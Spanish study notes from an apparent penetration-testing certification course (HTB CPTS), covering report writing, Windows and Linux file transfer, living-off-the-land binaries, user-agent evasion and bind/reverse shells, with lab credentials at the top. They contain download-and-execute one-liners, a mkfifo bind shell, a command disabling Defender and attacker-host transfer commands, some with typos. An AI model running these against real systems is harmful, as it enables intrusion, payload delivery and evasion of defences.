172.16.16.160
htb-student_adm:HTB_@cademy_student!
Windows
172.16.16.100
administrator:Academy_VA_adm1!
Tarda mucho:
Acceder a Nessus (http://IP:8080)
Usar las credenciales propias o htb-student:HTB_@cademy_student!
Crear un New Task con OpenVAS Default
Usar Full and Fast contra 172.16.16.160
Usar el modo autenticado con las creds Linux
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 4. Evaluacion De Vulnerabilidades / 5. Reporting
1. Reporting
Un reporte solido debe tener estas secciones:
- Resumen ejecutivo - Executive Summary
- Vista general de evalucacion - Overview of Assessment
- Alcance - Scope
- Vulnerabilidades y Recomendaciones - Vulnerabilities and Recommendations
Executive Summary
Trata de ser comprensible para alguien que necesite una vista rapida y general de los detalles y que es lo mas importante de lo encontrado dependiendo de la severidad
Esto permite priorizar. Se puede añadir un grafico:
![[Pasted image 20260410152956.png]]
Overview of Assessment
Debe incluir cualquier metodologia usada durante la evaluacion. La metodologia debe detallar la ejecucion de la evaluacion durante el periodo de testeo como discutir el proceso y herramientas usadas (Nessus por ejemplo)
Alcance y duracion
Debe incluir todo lo que el cliente a autorizado a evaluar incluyendo el objetivo y el periodo de prueba
Vulnerabilities y recomendations
Seccion donde se debe detallas los halalzgos encontrados durante el escaneo una vez eliminados los FPs por testeo manual
Es mejor agrupar los hallazgos que se relacionan entre si segun el tipo de problema o severidad
Cada problema incluye su:
- Nombre de Vulnerabilidad
- CVSS
- CVE
- Descripcion de la vulnerabilidad
- Referencias
- Pasos de remediacion
- PoC
- Sistemas afectados
Closing
Escribir los informes de forma que cualquiera puede leerlos
Las oraciones al grano y buena semantica. Los mejores informes son los concisos
Cuando se analice informacion tecnica, hacer siempre referencia a lo que se describe para que el lector lo comprenda
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 5. Trasnferencia De Archivos / 2. Metodos De Transferencia De Archivos / 1. Windows
1. Windows File Transfer Methods Intro
Fileless Threats son amenazas que no vienen desde un archivo sino que se usan herramientas legitimas para crearlo en el sistema y ejecutarlo. Esto no significa que no haya operaciones de transferencia de archivos
Explicacion Astaroth
Un link malicioso en un mail de phising es clickado, este crea un archvio .lnk (acceso directo) que cuando es ejecutado con doble click causa la ejecucion de WMIC con el parametro “/Format” que permite descargar y ejecutar codigo malicioso JS
Este JS ademas descarga otros payloads usando Bitsadmin tool (Herramienta legitima de Windows usada para descargar y cargar trabajos y monitorizar su progreso). Estos payloads estan base64 y se usa Certutil para decodificarlos
Despues se usa regsvr32 para cargar una de las DLLs maliciosas en un proceso legitimo que ya se esta ejecutando (Userinit) y asi conseguir la ejecucion de la DLL maliciosa
![[Pasted image 20260410173935.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 5. Trasnferencia De Archivos / 2. Metodos De Transferencia De Archivos / 1. Windows
2. Operaciones De Descarga
Tendremos acceso a una maquina Windows (MS02) y queremos descargar archivos de otra maquina (Pwnbox)
![[Pasted image 20260410174146.png]]
Powershell Base64
Esto funciona dependiendo del tamaño del archivo. No se necistara realizar operaciones de red, solo tener acceso a la terminal de la maquina objetivo:
Pasos:
- Sacamos el md5sum
- Codificamos en Base64 el archivo en el sistema objetivo a traves de terminal
- Copiamos
- Pegamos en nuestra maquina
- Decodificamos en nuestra maquina
- Sacamos el md5sum y lo comparamos
En la maquina objetivo Linux:
md5sum ARCHIVO
cat ARCHIVO | base64 -w 0; echo
Copiamos
En nuestra maquina Windows:
Pegamos en una archivo
[IO.File]::WriteAllBytes("ARCHIVO", [Convert]::FromBase64String("BASE64"))
Get-FileHash ARCHIVO -Algorithm md5
![[Pasted image 20260410174721.png]]![[Pasted image 20260410174728.png]]
![[Pasted image 20260410174750.png]]
![[Pasted image 20260410174757.png]]
PowerShell Web Downloads
Muchas compañias permten trafico HTTP/S hacia fuera
System.Net.WebClient puede ser usado para descarga de archivos HTTP/S o FTP
Tabla de parametros:
![[Pasted image 20260410175031.png]]
Sincrono: hasta que no termina la descarga no ejecuta lo siguiente si lo hubiese
(New-Object Net.WebClient).DownloadFile('https://IP/ARCHIVO','C:\ARCHIVO')
Start-Process C:\file.exe
Asincrono: aunque no termina la descarga no ejecuta lo siguiente si lo hubiese
(New-Object Net.WebClient).DownloadFileAsync('https://IP/ARCHIVO', 'C:\ARCHIVO')
Start-Process C:\file.exe
Fileless Method
En vez de descargarlo y ejecutarlo desde PowerShell como antes, podemos descargarlo y ejecutarlo seguidamente directamente en memoria
IEX (New-Object Net.WebClient).DownloadString('https://IP/ARCHIVO')
o
(New-Object Net.WebClient).DownloadString('https://IP/ARCHIVO') | IEX
Se puede hacer con Invoke-WebRequest, curl, wget y mas
Invoke-WebRequest https://IP/ARCHIVO -OutFile ARCHIVO | IEX
Invoke-WebRequest
Invoke-WebRequest alias iwr, curl y wget
Invoke-WebRequest https://IP/ARCHIVO -OutFile ARCHIVO
Lista de Descarga PowerShell
https://gist.github.com/HarmJ0y/bb48307ffa663256e239
Problemas que pueden pasar
-
Hay veces que la configuracion inicial de Internet Explorer no se ha completado. Lo podemos bypassear con -UseBasicParsing
Invoke-WebRequest https://IP/ARCHIVO -UseBasicParsing | IEX
![[Pasted image 20260410181259.png]]
![[Pasted image 20260410181226.png]]
-
Otro error que puede dar es relacionado con el SSL channel si el certificado no es confiado. Podemos usar:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
![[Pasted image 20260410181427.png]]
SMB Downloads
A traves del puerto 445
Pasos:
- Crear smbserver en el sistema objetivo
- Usar copy, move, PowerShell Copy-Item u otras opciones SMB
En el sistema objetivo:
sudo impacket-smbserver share -smb2support /tmp/DIRECTORIO_SHARE
En nuestro sistema:
copy \\IP\DIRECTORIO_SHARE\ARCHIVO
![[Pasted image 20260410181904.png]]![[Pasted image 20260410181910.png]]
SMBShare autenticado:
- En nuestra maquina atacante
imapcket-smbshare -smb2support SMBShare ./ -username USER -password PASS
- En la maquina Windows objetivo
net use \\IP\SMBShare /user:USER PASS
copy \\IP\SMBShare\ARCHIVO C:\RUTA
![[Pasted image 20260611194007.png]]
![[Pasted image 20260611193955.png]]
Problemas que se pueden dar
Puede que la organizacion desactive la opcion de descargar cosas desde un share smb a traves de metodos sin autenticacion o guest
Para esto deberemos levantar un servidor con autenticacion en el sistema objetivo:
sudo impacket-smbserver share -smb2support /tmp/DIRECTORIO_SHARE -user USER -password PASS
En nuestro sistema:
net use n: \\IP\DIRECTORIO_SHARE /user:USER PASS
copy n:\ARCHIVO
Si recibimos mas errores podemos directamente montar el share con NFS
FTP Downloads
A traves del puerto 21 y 20
Pasos:
- Creamos un FTP Server en el sistema destino usando pyftpdlib
- Descargamos mediante PowerShell o nos conectamos y descargamos
En el sistema objetivo:
sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21
En nuestro sistema:
(New-Object Net.WebClient).DownloadFile('ftp://IP/ARCHIVO', 'C:\ARCHIVO')
Imagina que no tienes una shell interactiva en el sistema objetivo y no es muy facil usar ftp. Podemos crear un script que automatice el uso de FTP:
Montamos servidor ftp en el objetivo:
sudo python3 -m pyftpdlib --port 21
En nuestro sistema creamos el script:
echo open IP > ftpcommand.txt
echo USER USER >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET ARCHIVO >> ftpcommand.txt
echo bye >> ftpcommand.txt
Ejecutamos en nuestro sistema:
ftp -v -n -s:ftpcommand.txt
Como resultado lo abremos descargado
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 5. Trasnferencia De Archivos / 2. Metodos De Transferencia De Archivos / 1. Windows
3. Carga De Archivos
Abra veces en las que necesitemos tranferir archivos al sistema destino
Powershell Base64 Encode y Decode Upload
Pasos:
- Codificamos nuestro archivo
- Copiamos
- Pegamos y decodificamos
En nuestro host:
C:\htb> [Convert]::ToBase64String((Get-Content -path "C:\ARCHIVO" -Encoding byte))
Copiamos y pegamos en el sistema destino:
echo BASE64 | base64 -d > ARCHIVO
Powershell Web Upload
Powershell no tiene una funcion nativa para subir archivos pero podemos crear una con Invoke-WebRequest or Invoke-RestMethod
Necesitaremos montar en el destino un servidor web que acepte subidas
En el destino creamos un servidor que acepte subidas:
pip3 install uploadserver
python3 -m uploadserver
En nuestra maquina usamos PSUpload.ps1
Primero lo descargamos:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Despues lo usamos para subir nuestro archivo
Invoke-FileUpload -Uri http://IP/upload -File ARCHIVO
Powershell Base64 Web Upload
Creamos en el sistema destino un listener
nv -nvlp 8000
Creamos una variable con el contenido que queremos subir en base64 en nuestra maquina
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\ARCHIVO' -Encoding Byte))
Subimos el archivo con un POST
Invoke-WebRequest -Uri http://IP:8000/ -Method POST -Body $b64
Llegara al destino la base64 y lo decodificamos
echo BASE64 | base64 -d -w 0 > hosts
SMB Uploads
Normalmente las empresas no dejan abierto el puerto 445 para conexiones fuera de su red interna. En ese caso podemos usar WebDAV, una extension de HTTP
WebDAV permite al webserver comportarse como un fileserver soportando subida de archivos autorizada
SMB primero intentara conectase por el protocolo SMB pero sino puede intentara por HTTP. En la siguiente captura se ve:
![[Pasted image 20260410232344.png]]
Primero tenemos que configurar un WebDAV server en el destino
sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Despues tratamos de conectarnos al WebDAV con SMB para listar
dir \\IP\DavWWWRoot
DavWWWRoot es una keyword reconocida en Windows Shell que indica que esta corriendo WebDAV
Para subir archivos
copy C:\Users\john\Desktop\SourceCode.zip \\IP\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\IP\sharefolder\
FTP Uploads
Atravves del puerto 20 y 21
Similar a descargarlos
En el sistema destino:
sudo python3 -m pyftpdlib --port 21 --write
En nuestro sistema:
(New-Object Net.WebClient).UploadFile('ftp://IP/ftp-hosts', 'C:\ARCHIVO')
Podemos crear un archivo para automatizarlo como en la descarga:
echo open IP > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\ARCHIVO >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 5. Trasnferencia De Archivos / 2. Metodos De Transferencia De Archivos / 2. Linux
1. Linux File Transfer Methos Intro
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 5. Trasnferencia De Archivos / 2. Metodos De Transferencia De Archivos / 2. Linux
2. Download Operations
Tenemos acceso a un sistema Linux (NIX04) y tenemos que subir archivos a (Pwnbox) otro sistema Linux
![[Pasted image 20260410234412.png]]
Base64 Encoding / Decodinf Download
Depende del tamaño que queramos transferir. Si es muy largo no podremos
En el sistema remoto miraremos el hash antes de codificarlo y despues lo codificaremos:
md5sum id_rsa
cat ARCHIVO |base64 -w 0;echo
Despues copiaremos este BASE64 lo pegaremos en nuestro sistema, lo decodificaremos y por ultimo miraremos el hash para ver que este integro:
echo -n 'BASE64' | base64 -d > ARCHIVO
md5sum id_rsa
Web Download con wget y curl
Podemos descargar archivos de una web usando estos comandos:
wget https://IP/ARCHIVO -O /tmp/ARCHIVO
curl -o /tmp/ARCHIVO https://IP/ARCHIVO
Fileless Attacks Using Linux
Debido a la forma en la que esta hecho Linux podemos hacerlo de muchas formas dependiendo del archivo que nos descarguemos
wget https://IP/ARCHIVO.sh -O /tmp/ARCHIVO.sh | bash
curl -o /tmp/ARCHIVO.py https://IP/ARCHIVO.py | python3
curl -o /tmp/ARCHIVO.pl https://IP/ARCHIVO.pl | perl
Download with Bash (/dev/tcp)
Habra veces que no tendremos comandos de file transfer conocidos. En estos casos podemos usar la propia naturaleza de bash
Nos conectamos al objetivo por el puerto donde tiene levantado la web, lo descargamos y lo leemos
exec 3<>/dev/tcp/IP/80
echo -e "GET /ARCHIVO HTTP/1.1\n\n">&3
cat <&3
SSH Downloads
Usaremos Secure Copy SCP que pemrite copiar archivos y derectorios entre dos host de forma segura
Primero vamos a levantar SSH si no lo esta ya en el sistema remoto
sudo systemctl enable ssh
sudo systemctl start ssh
netstat -lnpt
Descargamos el archivo usando scp desde nuestro host, podemos crear una cuenta temporal para subir nuestros archivos o usar con la que nos logueamos:
scp USER@IP:/ARCHIVO /RUTA_LOCAL
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 5. Trasnferencia De Archivos / 2. Metodos De Transferencia De Archivos / 2. Linux
3. Uploads Operations
Como en los metodos de descarga podemos usar uploadserver para crear un servidor que nos permita subir archivos pero ahora hacia nuestro host
Descarmos uploadserver:
sudo python3 -m pip install --user uploadserver
Ahora creamos un certificado autofirmado que deberemos guardar en un archivo fuera de donde tenemos montado el webserver para que nadie pueda acceder a el
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
![[Pasted image 20260411000902.png]]
Creamos el uploadserver:
mkdir webserver && cd webserver
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
Desde el host destino subimos el archivo hacia nuestro host:
curl -X POST https://IP/upload -F 'files=@/ARCHIVO1' -F 'files=@/ARCHIVO2' --insecure
Alternativa usando Web File Transfer Method
Creamos nuestro servidor en nuestro host con python, php o ruby:
python3 -m http.server
python2.7 -m SimpleHTTPServer
php -S 0.0.0.0:8000
ruby -run -ehttpd . -p8000
Desde el host comprometido lo descargamos:
wget 192.168.49.128:8000/ARCHIVO
SCP Upload
Para subir un archivo con scp:
scp /ARCHIVO USER@IP:/RUTA/DESTINO/
Podemos crear un usuario temporal o subirlo con las creds del usuario con el que conseguimos acceso
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 5. Trasnferencia De Archivos / 2. Metodos De Transferencia De Archivos / 3. Transfiriendo Archivos Con Codigo
1. Download
En los sistemas objetivo podemos encontrar lenguajes como Python, PHP, Perl y Ruby
En Windows podemos usar Cscript y Mshta para ejecutar codigo JS o VBScript
Python Descargar
-
Python2
python2.7 -c ‘import urllib;urllib.urlretrieve (“https://IP/ARCHIVO”, “ARCHIVO”)’
-
Python3
python3 -c ‘import urllib.request;urllib.request.urlretrieve(“https://IP/ARCHIVO”, “ARCHIVO”)’
-
Fileless
python3 -c ‘import urllib.request;urllib.request.urlretrieve(“https://IP/ARCHIVO”, “ARCHIVO”).read().decode())’ | bash
PHP Descargar
- Con File_get_contents()
php -r '$file = file_get_contents("https://IP/ARCHIVO"); file_put_contents("ARCHIVO",$file);'
- Con Fopen()
php -r 'const BUFFER = 1024; $fremote = fopen("https://IP/ARCHIVO", "rb"); $flocal = fopen("ARCHIVO", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
- Fileless
php -r '$lines = @file("https://IP/ARCHIVO"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
Ruby Download
ruby -e 'require "net/http"; File.write("ARCHIVO", Net::HTTP.get(URI.parse("https://IP/ARCHIVO")))'
Perl Download
perl -e 'use LWP::Simple; getstore("https://IP/ARCHIVO", "ARCHIVO");'
JS
- Crear un archivo wget.js con el siguiente codigo:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
Despues lo ejecutamos:
cscript.exe /nologo wget.js https://IP/ARCHIVO ARCHIVO
VBScript
- Crear un archivo wget.vbs con el siguiente codigo:
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", WScript.Arguments.Item(0), False xHttp.Send with bStrm .type = 1 .open .write xHttp.responseBody .savetofile WScript.Arguments.Item(1), 2 end with
Despues lo ejecutamos:
cscript.exe /nologo wget.vbs https://IP/ARCHIVO ARCHIVO
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 5. Trasnferencia De Archivos / 2. Metodos De Transferencia De Archivos / 3. Transfiriendo Archivos Con Codigo
2. Upload
Podemos usar como vimos antes el modulo de python uploadserver en el destino para subir un archivo. Este servidor usa metodos HTTP como GET, POST, PUT…
- En el destino
python3 -m uploadserver
- Desde nuestra maquina
python3 -c 'import requests;requests.post("http://IP:8000/upload",files={"files":open("ARCHIVO","rb")})'
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 5. Trasnferencia De Archivos / 2. Metodos De Transferencia De Archivos / 4. Metodos Diversos De Transferencia De Archivos
1. Netcat Y Nc
Carga
- Iniciar un listener netcat
ncat -l -p 8000 --recv-only > ARCHIVO
–recv-only cierra la conexion en cuanto se termine la transferencia
- Desde nuestro host lo descargamos
ncat --send-only IP_VICTIMA 8000 < ARCHIVO
o con nc
- Iniciar listener en la maquina victima
nc -l -p 8000 > ARCHIVO
- En nuestra maquina
nc -q 0 IP_VICTIMA 8000 < ARCHIVO
Descarga
- En nuestra maquina atacante ponemos un listener
nc -l -p 443 -q 0 < ARCHIVO
- En la maquina objetivo
nc IP_ATACANTE 443 > ARCHIVO
o con netcat
- Listener en nuestra maquina atacante
ncat -l -p 443 --send-only < SharpKatz.exe
- En la maquina destino
ncat IP_ATACANTE 443 --recv-only > SharpKatz.exe
Sin netcat
- Listener normal en nuestra maquina
nc -l -p 443 -q 0 < ARCHIVO
O en la victima
nc -l -p 8000 > ARCHIVO
- Descarga desde la victima
cat < /dev/tcp/IP_ATACANTE/443 > ARCHIVO
O desde nuestra maquina
cat < /dev/tcp/IP_OBJETIVO/8000 > ARCHIVO
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 5. Trasnferencia De Archivos / 2. Metodos De Transferencia De Archivos / 4. Metodos Diversos De Transferencia De Archivos
2. Powershell Session Winrm
Abra veces que no nos deje ni por HTTP, SMB, FTP… En este caso usaremos Powershell Remoting (WinRM)
Puertos : 5985 HTTP and 5986 HTTPS
Para acceder a WinRM debemos ser parte del grupo de Remote Management Users o tener permisos explicitos para PowerShell Remoting
En este ejemplo tenemos un usuario Administrator en DC01 que tiene permisos de admin en DATABASE01 y Powershell Remoting habilitado
- Confirmar WinRM port 5985 esta abierto en DATABASE01 con Test-NetConnection
Desde DC01
Test-NetConnection -ComputerName DATABASE01 -Port 5985
![[Pasted image 20260411123443.png]]
- Crear una Powershell Remoting session hacia DATABASE01
$Session = New-PSSession -ComputerName DATABASE01
- Copiar algo desde nuestro host hacia el host remoto
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
- Copiar algo desde el host remoto hacia nosotros
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
RDP
Al usar xfreerdp o rdesktop podemos hacer copia y pega normal pero a veces no funciona
En esos casos creamos un carpeta compartida entre sesiones
Rdesktop:
rdesktop IP -d DOMINIO -u USER -p 'PASS' -r disk:linux='/RUTA/COMPARTIDA'
Xfreerdp:
xfreerdp /v:IP /d:DOMINIO /u:USER /p:'PASS' /drive:linux,/RUTA/COMPARTIDA
Obtendremos un directorio \\tsclient\
![[Pasted image 20260411124420.png]]
RDP desde Windows
Podemos usar mstsc.exe
Local Resources > Local devices and resources + More > Seleccionas la carpeta para compartir
![[Pasted image 20260411124718.png]]
Despues le damos introducimos IP, usuario… y le damos a Connect
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 5. Trasnferencia De Archivos / 2. Metodos De Transferencia De Archivos / 5. Archivos Protegidos
1. Protected Files
Para datos protegidos es imprescindible cifrar el contenido o usar servicios cifrados como SSH, SFTP… Con esto evitamos que un MITM lea los datos
Encriptacion en Windows
Uno de los mas simples es usar Invoke-AESEncryption.ps1
- Primero debemos invocar el modulo en el host en el que estemos:
Import-Module .\Invoke-AESEncryption.ps1
- Encriptarlo y creara un archivo .aes
Invoke-AESEncryption -Mode Encrypt -Key "PASSWORD" -Path .\RUTA_ARCHIVO
- Desencriptarlo
Invoke-AESEncryption -Mode Decrypt -Key "PASSWORD" -Path .\RUTA_ARCHIVO.aes
Encriptacion en Linux
Podemos usar OpenSSL el cual tiene muchos metodos de cifrado como AES256 (OpenSSL man page)
- Encriptar
openssl enc -aes256 -iter 100000 -pbkdf2 -in /RUTA_ARCHIVO -out NOMBRE_ARCHIVO.enc
- enc: modo cifrado
- -aes256: cifra en con el tipo de cifrado seleccionado (OpenSSL man page)
- -iter N: numero de iteraciones lo que hace que sea mas dificil a fuerza bruta
- -pbkdf2: pedira una contraseña de desencriptado por terminal, y con este parametro se modifica la contraseña en una clave criptografica valida para AES. Esto es mucho mas costoso para un atacante
- Desencriptar
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in NOMBRE_ARCHIVO.enc -out NOMBRE_aRCHIVO.txt
-d: desencriptar
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 5. Trasnferencia De Archivos / 2. Metodos De Transferencia De Archivos / 6. Archivos Sobre HTTP S
1. Archivos Sobre HTTP S
HTTP/S suelen ser los metodos mas permitidos en los firewalls y se cifran en transito
Python Method
Hemos visto como hacerlo en [[3. Uploads Operations]]
- Python2
python -m SimpleHTTPServer 8080
- Python3
python3 -m http.server 8080
Luego se usa wget, curl, certutil, navegacion por el browser…
Nginx Method
Se usa en sistemas Apache porque la configuracion es menos complicada y el modulo no entra en conflicto de seguridad con Apache
- Crear directorio para manejar subidas de archivos
sudo mkdir -p /var/www/uploads/NOMBRE_DIRECTORIO
- Cambiar el propietario a www-data
sudo chown -R www-data:www-data
- Crear un archivo de configuracion en la ruta: /etc/nginx/sites-available/upload.conf
server { listen 9001; location /NOMBRE_DIRECTORIO/ { root /var/www/uploads; dav_methods PUT; } }
- Crear un enlace simbolico del archivo de configuracion dentro del directorio sites-enabled
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
- Iniciar Nginx
sudo systemctl restart nginx.service
- Comprobar fallos
tail -2 /var/log/nginx/error.log
Vemos que el puerto 80 ya esta en uso
![[Pasted image 20260606225618.png]]
ss -lnpt | grep 80
Miramos a ver que proceso esta ocupando el puerto y cogemos el PID
![[Pasted image 20260606225723.png]]
ps -ef | grep 2811
Buscamos el proceso concreto y vemos que es "python -m websockify 80"
![[Pasted image 20260606225757.png]]
- Eliminamos el archivo de configuracion por defecto de nginx que hace que se conecte por el puerto 80
sudo rm /etc/nginx/sites-enabled/default
- Subimos el archivo al WebDAV creado en Nginx
curl -T /RUTA_ARCHIVO http://IP:9001/NOMBRE_DIRECTORIO/ARCHIVO.txt
-T: metodo PUT
- Comprobamos que se ha subido
sudo tail -1 /var/www/uploads/SecretUploadDirectory/users.txt
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 5. Trasnferencia De Archivos / 2. Metodos De Transferencia De Archivos / 7. Lolbas
1. Living Off The Land
Pueden ser usados para descargar, subir, ejecuar, leer, escribir y bypassear
LOLBAS
LOLBAS: para buscar los que se pueden usar para:
- Descargas –> /download
- Subidas –> /upload
![[Pasted image 20260607091935.png]]
- Abrimos un listener netcat:
sudo nc -nlvp PUERTO
- Upload:
certreq.exe -Post -config http://IP:PUERTO/NOMBRE_ARCHIVO c:\RUTA\ARCHIVO
- Download:
CertReq -Post -config https://IP:PUERTO/ARCHIVO C:\RUTA\NOMBRE_ARCHIVO NOMBRE\ARCHIVO
Si hay un error con certreq puede que la version que tengamos no tenga el parametro POST. Actualizar: here
GTFOBins
GTFOBins for Linux Binaries: para buscar los que se pueden usar para:
- Descargas –> +file download
- Subidas –> +file upload
![[Pasted image 20260607092615.png]]
DESCARGA:
- Crear un certificado:
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
- Crear un servidor
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /RUTA/ARCHIVO
- Descarga desde el otro lado
openssl s_client -connect IP:PUERTO -quiet > ARCHIVO
SUBIDA:
- Crear un certificado:
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
- Crear un servidor
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem > /RUTA/ARCHIVO
- Upload desde el otro lado
openssl s_client -connect IP:PUERTO -quiet < ARCHIVO
Otros Ejemplos
Usado para la descarga de archivos por HTTP y SMB:
HTTP:
- Descarga desde CMD:
bitsadmin /transfer wcb /priority foreground http://IP:PUERTO/ARCHIVO C:\RUTA\NOMBRE_ARCHIVO
- Descarga desde PS:
Import-Module bitstransfer; Start-BitsTransfer -Source "http://IP:PUERTO/ARCHIVO" -Destination "C:\RUTA\NOMBRE_ARCHIVO"
SMB:
- Descarga desde CMD:
bitsadmin /transfer wcb /priority foreground \\IP\share\ARCHIVO C:\RUTA\NOMBRE_ARCHIVO
- Descarga desde PS:
Import-Module bitstransferStart-BitsTransfer -Source "\\IP\share\ARCHIVO" -Destination "C:\RUTA\NOMBRE_ARCHIVO"
Usado para la subida HTTP y SMB:*
HTTP:
- Subida desde CMD:
bitsadmin /transfer uploadjob /upload /priority foreground C:\RUTA\ARCHIVO http://IP:PUERTO/NOMBRE_ARCHIVO
- Subida desde PS:
Import-Module bitstransfer
Start-BitsTransfer -Source "C:\RUTA\ARCHIVO" -Destination http://IP:PUERTO/NOMBRE_ARCHIVO
SMB:
- Subida desde CMD:
bitsadmin /transfer uploadjob /priority foreground C:\RUTA\ARCHIVO \\IP\share\NOMBRE_ARCHIVO
- Subida desde PS:
Import-Module bitstransfer
Start-BitsTransfer -Source "C:\RUTA\ARCHIVO" -Destination "\\IP\share\NOMBRE_ARCHIVO"
CERTUTIL
Es como el sustitutivo a wget
- Descarga
certutil.exe -verifyctl -split -f http://IP:PUERTO/ARCHIVO NOMBRE_ARCHIVO
NO HAY METODO DE SUBIDA
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 5. Trasnferencia De Archivos / 3. Detectar O Ser Detectado
1. Deteccion Y Evasion
Deteccion
Todo lo que se conecte mediante HTTP cliente/servidor tendra un UserAgent, ya sea mediante Python, Curl…
Las comapañias pueden crear whitelist de UserAgent para solo dejar operar algunos SOs, herramientas legitimas…
Explicacion de un User Agent:
![[Pasted image 20260607100409.png]]
Lista de User Agents existentes: here
Debemos usar User Agents que no parezcan sospechosos para ofuscar mas la actividad
Ejemplos de User Agent potencialmente maliciosos
- Usar powershell (Invoke-WebRequest)
![[Pasted image 20260607100954.png]]
- Certutil:
![[Pasted image 20260607100923.png]]
- Bitsadmin
![[Pasted image 20260607101019.png]]
Evasion
Cambiar el UserAgent
- Listar User Agents:
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
- Usamos por ejemplo el de Chrome
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
- Descargamos
Invoke-WebRequest http://IP/ARCHIVO -UserAgent $UserAgent -OutFile "C:\RUTA\NOMBRE_ARCHIVO"
LOLBAS
Usar LOLBINS en vez de netcat u otras herramientas para no llamar la atencion o porque tengan una blacklist de herramientas que no se pueden usar
Visto en [[1. Living off the land]]
Ejemplo de descarga con GfxDownloadWrapper.exe
GfxDownloadWrapper.exe "http://IP/ARCHIVO" "C:\RUTA\ARCHIVO"
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 6. Shells Y Payloads / 1. Bind Y Reverse
1. Comandos De Verificacion
Validacion del shell con ps
ps
![[Pasted image 20260607161636.png]]
Validacion del shell con env
env
![[Pasted image 20260607161711.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 6. Shells Y Payloads / 1. Bind Y Reverse
2. Bind Shell
![[Pasted image 20260608092224.png]]
Le eviamos una shell a un listener que estara en el objetivo
Pasos
- Listener en el objetivo
nc -nvlp PUERTO
- Nos conectamos desde nuestra maquina atacante
nc -nv IP PUERTO
Ejemplos de bind shell EN EL OBJETIVO
- Bash shell por TCP
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l IP PUERTO > /tmp/f
- Nos conectamos
nc -nv IP PUERTO
Ejercicio
Desde la maquina objetivo creamos un listener:
![[Pasted image 20260608093843.png]]![[Pasted image 20260608093854.png]]
Desde la atacante nos conectamos:
![[Pasted image 20260608093955.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 6. Shells Y Payloads / 1. Bind Y Reverse
3. Reverse Shell
![[Pasted image 20260608094024.png]]
El objetivo nos enviara una shell a nuestro listener que estara en nuestra maquina atacante
Pasos
- Abrimos un listener en nuestra maquina atacante
sudo nc -lvnp 443
- Creamos una conexion desde la maquina atacante hasta la maquina objetivo
Pongo el enlace porque no puedo pegar el comando ya que lo detecta como malware el AV
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
- Si da error en el host objetivo, desactivamos el AV
Set-MpPreference -DisableRealtimeMonitoring $true
Ejemplo practico
Nos conectamos a la maquina objetivo
![[Pasted image 20260608111701.png]]
Abrimos un listener en nuestra maquina atacante
![[Pasted image 20260608111849.png]]
Lanzamos el cmd como admin y ejecutamos el comando de reverse shell pero da error
![[Pasted image 20260608112519.png]]
Ya podemos ejecutar comandos
![[Pasted image 20260608112612.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 6. Shells Y Payloads / 2. Payloads MSF Y Msvenom
1. Payloads En MSF
Ejemplo
nmap -sVC -Pn IP
![[Pasted image 20260608113454.png]]
Vamos a centrarnos en SMB 445:
